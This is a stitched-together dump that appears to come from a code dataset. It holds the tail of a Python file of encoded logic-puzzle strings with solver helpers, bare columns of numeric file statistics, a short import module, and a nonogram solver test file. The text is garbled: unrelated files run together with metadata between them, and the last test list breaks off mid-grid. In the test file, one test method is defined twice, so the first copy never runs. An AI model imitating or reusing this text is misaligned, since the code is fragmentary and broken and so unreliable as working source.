0 1 1 /1 0 0 0 1 1 1 /1 1 0 0 1 1 1 /1 1 1 0 0 1 1 /1 1 0 1 0 0 1 /', ), ( 'pzprv3/nurikabe/9/10/2 . . . . . . . . 2 /. . . . . . 2 . . . /. 2 . . 7 . . . . . /. . . . . . . . . . /. . .' ' . . . 3 . 3 . /. . 2 . . . . 3 . . /2 . . 4 . . . . . . /. . . . . . . . . . /. 1 . . . . 2 . 4 . /', 'pzprv3/nurikabe/9/10/2 + # + + + # # + 2 /# # # + + # 2 # # # /# 2 # + 7 # + # + # /# + # # # # # # + # /# # +' ' # + + 3 # 3 # /+ # 2 # # # # 3 # # /2 # # 4 + # + + # + /# # + + # # # # # + /# 1 # # # + 2 # 4 + /', ), ( 'pzprv3/shakashaka/10/10/5 . . . . . 3 . . 5 /. . 5 . . . . . . . /. . . . . . . . . . /3 . . . 5 . . . . . /. ' '. . 4 . . . . . 0 /. . . . . . . . 0 . /. . . . 3 . . . 5 . /. . . 4 . . . . . . /2 . . . . . . . . . /. . 5 .' ' . 3 . . . 5 /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . ' '. . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . .' ' . /', 'pzprv3/shakashaka/10/10/5 . . . . . 3 . . 5 /. . 5 . . . . . . . /. . . . . . . . . . /3 . . . 5 . . . . . /. ' '. . 4 . . . . . 0 /. . . . . . . . 0 . /. . . . 3 . . . 5 . /. . . 4 . . . . . . /2 . . . . . . . . . /. . 5 .' ' . 3 . . . 5 /. + + + 5 4 . 5 4 . /5 4 . 5 + 3 5 + + 4 /2 3 5 + 3 5 + + + 3 /. 5 + 3 . 2 + + 3 + /5 + 3 . 5 4 ' '2 3 + . /2 3 5 4 2 3 + + . + /5 4 2 3 . + 5 4 . + /2 + 4 . 5 4 2 3 5 4 /. 2 3 5 + 3 5 4 2 3 /+ + . 2 3 . 2 3 +' ' . /', ), ( 'pzprv3/shikaku/11/11/. 4 . . . . . . . . . /2 4 . . 3 . . . . . . /. . . . . . . 16 . . . /6 5 2 4 . . 4 . . .' ' . /. . . . 2 5 . . 2 . 7 /. . 2 . . 2 4 . 2 . . /. . . . 16 . . . . . . /. . . . . . . . . . . /. . . . 12 . ' '6 . . . . /2 . . . . . . . . 9 . /. . . . . . . . . . . /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0' ' 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 ' '0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0' ' 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 ' '0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /', 'pzprv3/shikaku/11/11/. 4 . . . . . . . . . /2 4 . . 3 . . . . . . /. . . . . . . 16 . . . /6 5 2 4 . . 4 . . .' ' . /. . . . 2 5 . . 2 . 7 /. . 2 . . 2 4 . 2 . . /. . . . 16 . . . . . . /. . . . . . . . . . . /. . . . 12 . ' '6 . . . . /2 . . . . . . . . 9 . /. . . . . . . . . . . /0 0 0 1 1 1 1 0 0 0 /1 0 1 1 1 1 1 0 0 0 /1 0 1 1 1 1' ' 1 0 0 0 /1 1 1 1 1 1 1 0 0 0 /1 1 1 1 1 1 0 1 0 1 /1 1 0 1 0 1 0 1 0 1 /1 1 0 0 0 0 0 0 0 1 /1 1 0 0 0 0 0 0 ' '0 1 /1 0 0 0 1 0 1 0 0 1 /1 0 0 0 1 0 1 0 0 1 /1 0 0 0 1 0 1 0 0 1 /1 1 1 1 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0' ' 0 /1 1 1 0 1 0 0 0 0 0 0 /0 0 0 0 0 0 1 1 1 1 1 /0 0 1 1 1 1 0 0 1 1 0 /0 0 1 1 1 1 1 1 1 1 0 /0 0 0 0 0 0 0 ' '0 0 0 0 /0 1 1 1 1 1 1 1 1 1 0 /1 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /', ), ( 'pzprv3/simpleloop/10/10/. . . . . * . . . . /. . * . . . . * . . /. . . . * . . . . . /. * . . . . * . . . /. ' '. . * . . . . . . /. . . . . . . . . . /. . * . . . . * . . /. . . . * . . . . * /. * . . . . * . . . /. . . *' ' . . . . . . /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0' ' 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 ' '0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /' '0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /', 'pzprv3/simpleloop/10/10/. . . . . * . . . . /. . * . . . . * . . /. . . . * . . . . . /. * . . . . * . . . /. ' '. . * . . . . . . /. . . . . . . . . . /. . * . . . . * . . /. . . . * . . . . * /. * . . . . * . . . /. . . *' ' . . . . . . /1 1 1 1 0 0 1 1 1 /1 0 0 1 0 1 0 0 1 /1 0 1 0 0 1 1 0 1 /0 0 1 1 1 0 0 1 0 /0 1 0 0 1 0 1 0 0 /0' ' 0 1 0 1 1 0 1 0 /0 0 0 1 1 1 0 0 1 /0 1 1 0 0 1 0 1 0 /0 0 1 0 1 0 0 1 1 /1 1 0 0 1 1 1 1 1 /1 0 0 0 1 0 1 0 ' '0 1 /0 1 0 1 0 1 0 0 1 0 /1 0 1 0 0 0 0 1 0 1 /1 0 0 0 0 1 0 0 1 1 /1 1 1 0 1 0 1 1 1 1 /1 1 0 1 0 0 0 0 0 1 /' '1 1 0 0 0 0 1 0 1 0 /1 0 0 1 0 1 0 1 0 0 /1 0 1 0 1 0 0 0 0 1 /', ), ( 'pzprv3/skyscrapers/5/5/. 4 2 1 2 3 . /3 . . . . . 3 /2 . . . . . 4 /3 . . . . . 1 /2 . . . . . 2 /1 . . . . . ' '2 /. 1 4 3 2 2 . /', 'pzprv3/skyscrapers/5/5/. 4 2 1 2 3 . /3 2 3 5 4 1 3 /2 1 5 4 3 2 4 /3 3 4 2 1 5 1 /2 4 2 1 5 3 2 /1 5 1 3 2 4 ' '2 /. 1 4 3 2 2 . /', ), ( 'pzprv3.1/slither/6/6/. . . . 0 . /3 3 . . 1 . /. . 1 2 . . /. . 2 0 . . /. 1 . . 1 1 /. 2 . . . . /0 0 0 0 0 0' ' /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0' ' /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0' ' /0 0 0 0 0 0 /0 0 0 0 0 0 /', 'pzprv3.1/slither/6/6/. . . . 0 . /3 3 . . 1 . /. . 1 2 . . /. . 2 0 . . /. 1 . . 1 1 /. 2 . . . . /0 0 0 0 0 0' ' /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /1 0 0 1 0 0 0 /1 1 1 1 0 1 1 /0 0 1 0 1 1 1' ' /0 0 1 0 0 0 1 /0 0 0 1 0 0 1 /1 0 0 0 1 1 1 /1 1 1 0 0 0 /0 1 0 0 0 1 /1 0 0 1 0 0 /0 0 0 0 1 0 /0 0 1 0 0 0' ' /1 1 1 0 1 0 /1 1 1 1 0 1 /', ), ( 'pzprv3/starbattle/10/10/2/10/0 0 0 0 0 1 1 2 2 2 /0 0 0 0 0 1 1 1 2 2 /0 0 0 0 0 1 1 1 1 1 /3 3 3 0 4 4 1 1 1 ' '5 /3 6 6 6 4 4 1 1 5 5 /6 6 6 6 4 4 1 5 5 5 /6 6 6 6 6 7 1 5 5 5 /6 6 6 6 6 7 1 5 5 7 /8 8 8 7 7 7 7 7 7 7 /7 ' '7 7 7 9 9 9 9 9 9 /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . .' ' . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . ' '. . . . /', 'pzprv3/starbattle/10/10/2/10/0 0 0 0 0 1 1 2 2 2 /0 0 0 0 0 1 1 1 2 2 /0 0 0 0 0 1 1 1 1 1 /3 3 3 0 4 4 1 1 1 ' '5 /3 6 6 6 4 4 1 1 5 5 /6 6 6 6 4 4 1 5 5 5 /6 6 6 6 6 7 1 5 5 5 /6 6 6 6 6 7 1 5 5 7 /8 8 8 7 7 7 7 7 7 7 /7 ' '7 7 7 9 9 9 9 9 9 /+ + + + + + + # + # /+ # + # + + + + + + /+ + + + + + # + # + /+ + # + # + + + + + /# + + +' ' + + + + # + /+ + + # + # + + + + /+ # + + + + + # + + /+ + + + + # + + + # /# + # + + + + + + + /+ + + + # + ' '# + + + /', ), ( 'pzprv3/sudoku/9/5 3 . . 7 . . . . /6 . . 1 9 5 . . . /. 9 8 . . . . 6 . /. . . . 6 . . . 3 /4 . . 8 . 3 . . 1 ' '/7 . . . 2 . . . 6 /. 6 . . . . 2 8 . /. . . 4 1 9 . . 5 /. . . . 8 . . 7 9 /. . . . . . . . . /. . . . . . . ' '. . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . ' '. . . . /. . . . . . . . . /', 'pzprv3/sudoku/9/5 3 . . 7 . . . . /6 . . 1 9 5 . . . /. 9 8 . . . . 6 . /. . . . 6 . . . 3 /4 . . 8 . 3 . . 1 ' '/7 . . . 2 . . . 6 /. 6 . . . . 2 8 . /. . . 4 1 9 . . 5 /. . . . 8 . . 7 9 /. . 4 6 . 8 9 1 2 /. 7 2 . . . 3 ' '4 8 /1 . . 3 4 2 5 . 7 /8 5 9 7 . 1 4 2 . /. 2 6 . 5 . 7 9 . /. 1 3 9 . 4 8 5 . /9 . 1 5 3 7 . . 4 /2 8 7 . . ' '. 6 3 . /3 4 5 2 . 6 1 . . /', ), ( 'pzprv3/tapa/10/10/. . . 1,1 . . . . . . /1 . . . . . 2,2 . . 2 /. . . . . . . . . . /. . . 1 . . . . . . /. . ' '1,1 . . 2 . 2,2 . . /. . 4 . 4 . . 3 . . /. . . . . . 3 . . . /. . . . . . . . . . /4 . . 4 . . . . . 3 /. . .' ' . . . 3 . . . /', 'pzprv3/tapa/10/10/+ + + 1,1 + + + + + + /1 + # + # # 2,2 # + 2 /+ # # + + # + # # # /# # + 1 + # # # + # /# + ' '1,1 + + 2 + 2,2 # # /# + 4 # 4 + + 3 # + /# # # # # # 3 + # + /+ # + + + # # + # # /4 # + 4 # + # # # 3 /# # #' ' # # + 3 # + + /', ), ( 'pzprv3/tapaloop/6/6/3 . . . 2,2 . /. . . . . . /. . 1,3,3 . . . /. . . . . . /. . . . . . /2 . . . . 2 /0 0 0 ' '0 0 /0 0 0 0 0 /0 0 0 0 0 /0 0 0 0 0 /0 0 0 0 0 /0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0' ' /0 0 0 0 0 0 /', 'pzprv3/tapaloop/6/6/3 . . . 2,2 . /. . . . . . /. . 1,3,3 . . . /. . . . . . /. . . . . . /2 . . . . 2 /0 1 1 ' '0 0 /1 0 0 0 1 /1 0 0 0 0 /0 1 0 1 0 /0 1 0 1 1 /0 1 1 0 0 /0 1 0 1 0 0 /1 0 0 1 1 1 /0 1 0 1 1 1 /0 0 1 0 0 1' ' /0 1 0 1 0 0 /', ), ( 'pzprv3/tentaisho/7/7/.....1......1/1............/............./.........1.../....1......../............./.....' '......../............./..1.........1/........1..../..1........../1............/.........1.../0 0 0 0 0 0 /0 0 ' '0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 ' '0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0' ' 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /', 'pzprv3/tentaisho/7/7/.....1......1/1............/............./.........1.../....1......../............./.....' '......../............./..1.........1/........1..../..1........../1............/.........1.../1 0 0 0 1 1 /1 0 ' '0 1 0 0 /0 1 1 0 0 1 /1 0 0 1 1 1 /0 0 1 0 0 1 /1 1 1 0 0 1 /1 0 1 1 0 1 /0 1 1 1 1 0 1 /1 1 0 1 0 0 1 /0 1 0 ' '1 0 1 0 /0 1 1 1 1 0 0 /1 1 0 0 0 0 0 /0 1 0 0 1 1 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0' ' 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /', ), ( 'pzprv3/tents/8/8/. 2 1 3 1 1 2 0 2 /2 . . . . . . . . /0 . . 1 . . 1 . 1 /3 . . . . 1 . . . /1 . 1 1 . . . . .' ' /0 1 . . . . . . . /2 . . . 1 . . . . /1 . . . . . 1 . . /3 . 1 . 1 . . 1 . /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 ' '0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0' ' 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /', 'pzprv3/tents/8/8/. 2 1 3 1 1 2 0 2 /2 . . A . . A . . /0 . . 1 . . 1 . 1 /3 . A . . 1 A . A /1 . 1 1 A . . . .' ' /0 1 . . . . . . . /2 A . A 1 . . . . /1 . . . . A 1 . . /3 A 1 A 1 . . 1 A /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 ' '0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0' ' 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /', ), ( 'pzprv3/yajilin/9/9/. . . . . . . . . /. . . . 4,1 . 2,1 . . /. . . 2,2 . . . 2,2 . /. . . . . . . . . /. . . .' ' . . . . . /. . . . . . . . . /. 4,0 . . . 1,2 . . . /. . 1,3 . 3,2 . . . . /. . . . . . . . . /. . . . . . . ' '. . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . ' '. . . . /. . . . . . . . . /. . . . . . . . . /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 ' '0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0' ' 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 ' '0 /0 0 0 0 0 0 0 0 0 /', 'pzprv3/yajilin/9/9/. . . . . . . . . /. . . . 4,1 . 2,1 . . /. . . 2,2 . . . 2,2 . /. . . . . . . . . /. . . .' ' . . . . . /. . . . . . . . . /. 4,0 . . . 1,2 . . . /. . 1,3 . 3,2 . . . . /. . . . . . . . . /. . # . . . . ' '. # /. . . . . # . . . /. . # . . . # . . /# . . . . . . # . /. . # . . # . . . /. . . # . . . . . /. . . . . ' '. . . . /. # . # . . . # . /. . . . . . . . . /1 0 0 1 1 1 1 0 /0 1 1 0 0 0 0 1 /1 0 0 0 1 0 0 0 /0 1 1 0 0 1 ' '0 0 /1 0 0 1 0 0 1 0 /0 1 0 0 1 1 0 0 /0 0 1 1 0 0 1 0 /0 0 0 0 0 1 0 0 /1 1 1 1 1 0 1 1 /1 1 0 1 0 0 0 1 0 /1' ' 0 0 0 0 0 0 0 1 /0 1 0 0 1 1 0 0 1 /0 0 0 1 1 0 1 0 1 /1 1 0 0 0 0 0 1 1 /1 0 1 0 1 0 1 1 1 /1 0 0 0 0 0 0 0 ' '1 /1 0 0 0 0 1 1 0 1 /', ), ( 'pzprv3/yinyang/7/7/. . . . . . . /. . 1 . 2 . . /. . . 2 . 1 1 /. 1 . . 1 2 . /. 2 1 . 1 . . /. . . 2 . . 2 /1' ' 2 . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . ' '. . . . /', 'pzprv3/yinyang/7/7/. . . . . . . /. . 1 . 2 . . /. . . 2 . 1 1 /. 1 . . 1 2 . /. 2 1 . 1 . . /. . . 2 . . 2 /1' ' 2 . . . . . /1 1 1 1 1 1 1 /1 2 . 2 . 2 1 /1 2 2 . 1 . . /1 . 1 2 . . 1 /1 . . 2 . 2 2 /1 2 1 . 1 1 . /. . 2 ' '2 2 2 2 /', ), ] def get_demo(puzzle_type): return next(demo for demo in DEMOS if _get_puzzle_type(demo[0]) == puzzle_type) def puzzle_list(): return [{'type': puzzle[0], 'name': puzzle[1], 'demo': get_demo(puzzle[0])[0]} for puzzle in PUZZLES] def solve(pzprv3: str, different_from: Optional[str] = None): return next(puzzle[2] for puzzle in PUZZLES if puzzle[0] == _get_puzzle_type(pzprv3))(pzprv3).solve(different_from) def _get_puzzle_type(pzprv3): matched = match('pzprv3[^/]*/([^/]+)/.*', pzprv3) return matched.group(1)
78.984749
120
0.309125
7,910
36,254
1.414791
0.01871
0.567242
0.742829
0.924672
0.734251
0.72594
0.7204
0.715039
0.712358
0.706192
0
0.375688
0.439069
36,254
458
121
79.157205
0.174616
0
0
0.337808
0
0.581655
0.810669
0.037513
0
0
0
0
0
1
0.008949
false
0
0.0783
0.006711
0.096197
0
0
0
1
null
1
1
1
0
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
13
a136437ed6e8a13413a78016dc26f6af737467c4
106
py
Python
rulr/Utils/__init__.py
elliotwoods/Rulr-2.0
125503a8d58c4fcfbec9a32ca4a2cc7d9f3ec825
[ "MIT" ]
6
2019-02-15T17:17:00.000Z
2020-08-26T17:02:44.000Z
rulr/Utils/__init__.py
elliotwoods/Rulr-2.0
125503a8d58c4fcfbec9a32ca4a2cc7d9f3ec825
[ "MIT" ]
1
2022-01-27T16:04:36.000Z
2022-01-27T16:04:36.000Z
rulr/Utils/__init__.py
elliotwoods/Rulr-2.0
125503a8d58c4fcfbec9a32ca4a2cc7d9f3ec825
[ "MIT" ]
null
null
null
from rulr.Utils._Viewable import * from rulr.Utils._Functions import * from rulr.Utils._Exports import *
35.333333
36
0.792453
15
106
5.4
0.466667
0.296296
0.481481
0.469136
0
0
0
0
0
0
0
0
0.122642
106
3
37
35.333333
0.870968
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
a18b40a46d5448910a93f04e8775111a842a74bf
18,685
py
Python
Nonogram/tests/test_runner.py
alexpdev/MyGames
3f99fc0dc22037c83acb743e048e158e373157e9
[ "Apache-2.0" ]
1
2019-12-13T17:05:32.000Z
2019-12-13T17:05:32.000Z
Nonogram/tests/test_runner.py
alexpdev/MyGames
3f99fc0dc22037c83acb743e048e158e373157e9
[ "Apache-2.0" ]
1
2019-02-28T06:51:47.000Z
2019-03-03T02:46:37.000Z
Nonogram/tests/test_runner.py
alexpdev/MyGames
3f99fc0dc22037c83acb743e048e158e373157e9
[ "Apache-2.0" ]
null
null
null
from solver.nonogram import Nonogram class TestExamples: def run_all_tests(self): self.test_example_0() self.test_example_1() self.test_example_2() self.test_example_3() self.test_example_4() self.test_example_5() def test_example_0(self): clues = (((3, 1), (4,), (1, 1, 1), (1,2), (1,1,1)), ((5,), (2,), (3,), (2, ), (1,3))) ans = ((1, 1, 1, 1, 1), (1, 1, 0, 0, 0), (1, 1, 1, 0, 1), (0, 1, 0, 1, 0), (1, 0, 1, 1, 1)) gram = Nonogram(clues) print(gram.solve()) assert gram.solve() == ans def test_example_1(self): clues = (((1, 1), (4,), (1, 1, 1), (3,), (1,)), ((1,), (2,), (3,), (2, 1), (4,))) ans = ((0, 0, 1, 0, 0), (1, 1, 0, 0, 0), (0, 1, 1, 1, 0), (1, 1, 0, 1, 0), (0, 1, 1, 1, 1)) gram = Nonogram(clues) print(gram.solve()) assert gram.solve() == ans def test_example_2(self): clues = (((1,), (3,), (1,), (3, 1), (3, 1)), ((3,), (2,), (2, 2), (1,), (1, 2))) ans = ((0, 0, 1, 1, 1), (0, 0, 0, 1, 1), (1, 1, 0, 1, 1), (0, 1, 0, 0, 0), (0, 1, 0, 1, 1)) gram = Nonogram(clues) print(gram.solve()) assert gram.solve() == ans def test_example_3(self): clues = (((3,), (2,), (1, 1), (2,), (4,)), ((2,), (3, 1), (1, 2), (3,), (1,))) ans = ((1, 1, 0, 0, 0), (1, 1, 1, 0, 1), (1, 0, 0, 1, 1), (0, 0, 1, 1, 1), (0, 0, 0, 0, 1)) gram = Nonogram(clues) print(gram.solve()) assert gram.solve() == ans def test_example_3(self): clues = (((3,), (4,), (3,), (2,), (1,)), ((3,), (3,), (3,), (2,), (2,))) ans = ((0, 0, 1, 1, 1), (0, 1, 1, 1, 0), (1, 1, 1, 0, 0), (1, 1, 0, 0, 0), (1, 1, 0, 0, 0)) gram = Nonogram(clues) print(gram.solve()) assert gram.solve() == ans def test_example_4(self): clues = (((7, 4, 4, 4), (3, 5, 1, 8), (2, 1, 2, 3), (2, 4, 1, 2, 1), (1, 3, 3, 1, 1), (2, 13, 1), (3, 1, 3, 5, 1, 2), (2, 7, 7, 2), (3, 1, 4, 1, 9), (3, 5, 2, 3, 2), (2, 1, 4, 1, 3, 1), (2, 1, 7, 3, 1), (8, 1, 3, 2), (1, 1, 8, 1, 1, 3), (13, 2, 1, 1), (6, 12, 2), (3, 11, 2), (1, 4, 10, 2), (11, 3), (5, 5, 2, 1, 1), (2, 1, 4, 3, 1, 3), (6, 4, 1, 3), (5, 3, 1, 4), (5, 1, 1, 1, 1, 4), (4, 3, 3)), ((3, 7, 1, 4), (3, 8, 3, 5), (2, 1, 2, 2, 5), (1, 2, 5, 4), (1, 4, 4), (2, 1, 3, 7, 1), (2, 3, 7, 1, 1), (1, 2, 8, 3), (3, 11, 3, 1), (2, 12, 4), (1, 1, 4, 13), (2, 1, 1, 8, 1), (1, 2, 9, 1), (1, 3, 8, 2), (1, 3, 6, 1, 1), (6, 5), (1, 9, 1, 6), (11, 5), (2, 18), (2, 1, 2, 2, 8), (1, 1, 9, 1, 3), (2, 1, 3, 1, 2), (5, 3, 1, 1, 2, 2), (3, 1, 1, 2, 4, 2), (6, 8, 2))) args = (25, 25) gram = Nonogram(clues,*args) output = gram.solve() print(output) assert output is not None def test_example_5(self): clues = (((3, 1, 3, 1, 3), (2, 1, 1, 7, 1, 2), (3, 2, 1, 2, 1), (2, 1, 2, 1, 1), (1, 2, 2), (3, 3, 3, 1, 1), (4, 6, 1, 1, 1), (8, 3, 2, 1, 2), (11, 1, 1), (1, 2, 7, 1, 2, 1, 1), (1, 3, 2, 1, 1, 3, 1, 1), (2, 6, 5, 2), (2, 3, 4, 1, 3), (3, 2, 2, 1, 1, 1, 3), (3, 1, 2, 1, 6, 1, 1), (8, 5, 2, 1, 1), (6, 1, 4, 2, 2), (8, 4, 1, 3, 1), (2, 15, 1), (2, 4, 9), (3, 10), (1, 5, 2, 2, 2), (7, 5, 2), (2, 1, 4, 2, 1, 1), (2, 8, 2, 1)), ((3, 6), (2, 5, 7), (2, 6, 5, 1), (1, 2, 4, 5, 2), (1, 2, 1, 5, 2), (4, 6, 3, 1), (8, 5, 1, 1), (3, 4, 5, 1, 4), (1, 2, 5, 8), (1, 9, 1, 2, 2, 1), (1, 6, 1, 1, 3, 4), (2, 1, 1, 2, 1, 1, 3, 4), (3, 1, 2, 2, 5, 3), (2, 2, 4, 6, 2), (1, 1, 1, 1, 1, 6, 3, 1), (1, 1, 1, 1, 2, 4, 1), (2, 3, 7, 3, 2), (1, 1, 9), (1, 1, 2, 1, 8, 1), (2, 1, 1, 2, 4, 2), (1, 5), (2, 1, 4), (1, 1, 1, 2, 2, 1, 1), (3, 3, 3), (2, 6, 1, 1, 4))) args = (25, 25) gram = Nonogram(clues,*args) output = gram.solve() print(output) assert output is not None tests = [ [[(((1, 1), (4,), (1, 1, 1), (3,), (1,)), ((1,), (2,), (3,), (2, 1), (4,))) ,5 ,5],((0, 0, 1, 0, 0), (1, 1, 0, 0, 0), (0, 1, 1, 1, 0), (1, 1, 0, 1, 0), (0, 1, 1, 1, 1))], [[(((3,), (4,), (2, 2, 2), (2, 4, 2), (6,), (3,)), ((4,), (6,), (2, 2), (2, 2), (2,), (2,), (2,), (2,), (), (2,), (2,))) ,6 ,11],((0, 1, 1, 1, 1, 0), (1, 1, 1, 1, 1, 1), (1, 1, 0, 0, 1, 1), (1, 1, 0, 0, 1, 1), (0, 0, 0, 1, 1, 0), (0, 0, 0, 1, 1, 0), (0, 0, 1, 1, 0, 0), (0, 0, 1, 1, 0, 0), (0, 0, 0, 0, 0, 0), (0, 0, 1, 1, 0, 0), (0, 0, 1, 1, 0, 0))], [[(((1, 1, 3), (3, 2, 1, 3), (2, 2), (3, 6, 3), (3, 8, 2), (15,), (8, 5), (15,), (7, 1, 4, 2), (7, 9), (6, 4, 2), (2, 1, 5, 4), (6, 4), (2, 6), (2, 5), (5, 2, 1), (6, 1), (3, 1), (1, 4, 2, 1), (2, 2, 2, 2)), ((2, 1, 1), (3, 4, 2), (4, 4, 2), (8, 3), (7, 2, 2), (7, 5), (9, 4), (8, 2, 3), (7, 1, 1), (6, 2), (5, 3), (3, 6, 3), (2, 9, 2), (1, 8), (1, 6, 1), (3, 1, 6), (5, 5), (1, 3, 8), (1, 2, 6, 1), (1, 1, 1, 3, 2))) ,20 ,20],((1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1), (0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1), (1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0), (0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0), (0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1), (0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1), (0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0), (0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0), (0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0), (0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1), (1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1), (1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0), (1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0), (0, 0, 0, 0, 0, 1, 1, 1, 